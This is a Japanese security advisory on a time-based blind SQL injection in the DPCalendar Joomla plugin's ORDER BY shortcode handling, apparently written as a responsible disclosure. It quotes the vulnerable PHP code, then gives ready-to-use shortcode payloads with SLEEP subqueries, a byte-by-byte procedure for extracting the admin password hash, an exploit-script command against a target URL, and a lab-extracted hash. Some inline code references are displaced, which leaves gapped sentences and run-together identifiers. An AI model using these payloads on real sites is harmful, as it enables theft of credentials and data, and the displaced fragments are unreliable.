
plg_content_dpcalendar における ORDER BY ショートコード経由の SQL インジェクション — DPCalendar Free ≤ 10.11.2
DPCalendar Free ≤ 10.11.2 — 作成者レベルのユーザーが時間ベースのブラインドインジェクションでデータベース全体を抽出
plg_content_dpcalendar コンテンツプラグインは、Joomla の記事本文に埋め込まれた {{#events order="..."}}{{/events}} ショートコードを解析します。order パラメータの値は に直接渡され、モデル自身の ホワイトリストを完全にバイパスします。この値はその後、 によってのみ保護された SQL の 句に挿入されますが、これはサブクエリインジェクションに対しては不十分です。
EventsModel::setState('list.ordering', ...)populateState()DatabaseDriver::escape()ORDER BY記事を作成または編集できる作成者レベルのユーザーは、これを悪用して時間ベースのブラインド SQL インジェクションによりデータベースからデータを外部に持ち出すことができます。この SQLi は攻撃者自身の記事保存リクエスト内で発火するため、被害者の操作、公開済み記事、管理者の関与は一切不要です。
| コンポーネント | 脆弱性あり | テスト環境 | 修正済み |
|---|---|---|---|
| DPCalendar Free | 1.0.0 – 10.11.2 | Joomla 6.1.2 + DPCalendar 10.11.2 (MariaDB 10.6.27) | 10.12.0 |
注記: この脆弱性は CVE-2026-57831(
EventsModel.phpのfilter_created_byを介した認証不要の SQLi、v10.11.2 で修正済み)とは異なります。今回の発見はコンテンツプラグイン(plg_content_dpcalendar)に影響するもので、別のファイル、別のパラメータであり、発見時点の最新リリースでは未修正でした。
種別: SQL インジェクション (CWE-89) — 時間ベースのブラインド
必要な認証: 作成者ロール(Joomla 記事の作成/編集が可能)
エンドポイント: POST /index.php/submit-article?view=form&layout=edit
ファイル: plg_content_dpcalendar/src/Extension/DPCalendar.php
プラグインのショートコードパーサーは、{{#events}} タグ内のすべてのキーと値のパラメータを反復処理し、populateState() のホワイトリスト検証を完全にバイパスしてモデルの状態を直接設定します:
PLG_CONTENT_DPCALENDAR/SRC/EXTENSION/DPCALENDAR.PHP — 脆弱なパラメータ処理
foreach ($params as $paramKey => $paramValue) {
switch ($paramKey) {
case 'order':
// 脆弱: ユーザー入力から直接並び順の状態を設定
// populateState() のホワイトリストを完全にバイパス
$model->setState('list.ordering', $paramValue);
break;
case 'orderdir':
$model->setState('list.direction', $paramValue);
break;
// ...
}
}
汚染された値は、引用符エスケープのみが適用された状態で EventsModel::getListQuery() に流れ込みます — これは ORDER BY コンテキストでのサブクエリインジェクションを防ぐには不十分です:
COMPONENTS/COM_DPCALENDAR/SRC/MODEL/EVENTSMODEL.PHP:607 — ORDER BY の構築
$orderCol = $this->state->get('list.ordering', 'a.start_date');
$orderDirn = $this->state->get('list.direction', 'ASC');
// $db->escape() は引用符のみをエスケープ — サブクエリインジェクションは防げない
$query->order($db->escape($orderCol) . ' ' . $db->escape($orderDirn));
(SELECT IF(ASCII(SUBSTRING(...))=36,SLEEP(5),0)) のようなサブクエリは、引用符文字を含まないため $db->escape() をそのまま通過します。結果として生成される SQL は次のようになります:
ORDER BY (SELECT IF(ASCII(SUBSTRING((SELECT password FROM jos_users ORDER BY id LIMIT 1),1,1))=36,SLEEP(5),0))--
ORDER BY 式は結果セットが空でない場合にのみ評価されるため、公開済みの将来の DPCalendar イベントが少なくとも 1 つ存在する必要があります。これはアクティブな DPCalendar インストールの標準的な条件です。
重要な動作: SQLi は保存/編集の POST リクエスト自体の中で発火するため、タイミング遅延は HTTP レスポンス(303 リダイレクト)で直接観測できます。攻撃者は自身の POST レスポンス時間を測定するだけでよく、記事の表示、ページの再読み込み、公開手順は一切不要です。
前提条件:
plg_content_dpcalendar プラグインが有効(DPCalendar インストール時のデフォルト)start_date を持つ公開済み DPCalendar イベントが少なくとも 1 つシナリオ: 時間ベースのブラインド SQLi → 管理者認証情報の抽出
プラグインはクエリを構築する前に filter.state = 1 と list.start-date = NOW() を設定します。ORDER BY サブクエリは結果セットに行が含まれる場合にのみ実行され、0 行の場合は SLEEP() が呼び出されることはありません。

作成者アカウントを使用して Joomla フロントエンドに認証します。この攻撃のどの時点でも管理者アクセスは不要です。

フロントエンドの記事送信フォーム(/submit-article)に移動します。記事本文に次のペイロードを挿入し、保存 をクリックします:
{{#events order="(SELECT IF(1=1,SLEEP(5),0))-- " limit="1"}}{{/events}}
POST レスポンス自体が約 5 秒遅延します。onContentPrepare は Joomla の保存パイプライン中に発火し、303 リダイレクトが発行される前に脆弱なクエリを呼び出します。記事の表示や公開は不要です。

1=1 を 1=2(常に偽)に置き換えます。SLEEP はトリガーされず、レスポンスは即座に返ります(約 100ms)。これにより信頼性の高いタイミング分離が確認できます。
{{#events order="(SELECT IF(1=2,SLEEP(5),0))-- " limit="1"}}{{/events}}

ASCII(SUBSTRING(...)) の比較を使用して各文字を読み取ります。一重引用符は避ける必要があります(ショートコードの正規表現 [^"\']* は引用符文字で停止します)。代わりに 10 進数の ASCII 値を使用します:
{{#events order="(SELECT IF(ASCII(SUBSTRING((SELECT password FROM joomla.jos_users ORDER BY id LIMIT 1),1,1))=36,SLEEP(5),0))-- " limit="1"}}{{/events}}
レスポンス時間約 5 秒 → TRUE → char[1] = '$'(ASCII 36 — bcrypt $2y$10$... ハッシュの最初の文字)。

exploit/exploit.py を実行して、1 バイトずつの抽出ループを自動化します:
python3 exploit/exploit.py http://TARGET
このスクリプトは作成者としてログインし、細工されたペイロードを送信して、ユーザー名、メールアドレス、および完全な 60 文字の bcrypt パスワードハッシュを抽出します。ラボ結果で確認済み: admin / [email protected] / $2y$10$5hGoueEFCH1z3NXZT3aWj.RZQ7ebuRqe8xU/s56iZPidb2GX1NqoC。

| 条件 | レスポンス時間 |
|---|---|
TRUE: ASCII(SUBSTR(password,1,1))=36 | 約 5,000 ms |
FALSE: ASCII(SUBSTR(password,1,1))=65 | 約 100 ms |
jos_users.password)、セッショントークン、ユーザーのメールアドレスなど、Joomla データベースから任意のデータを抽出できます。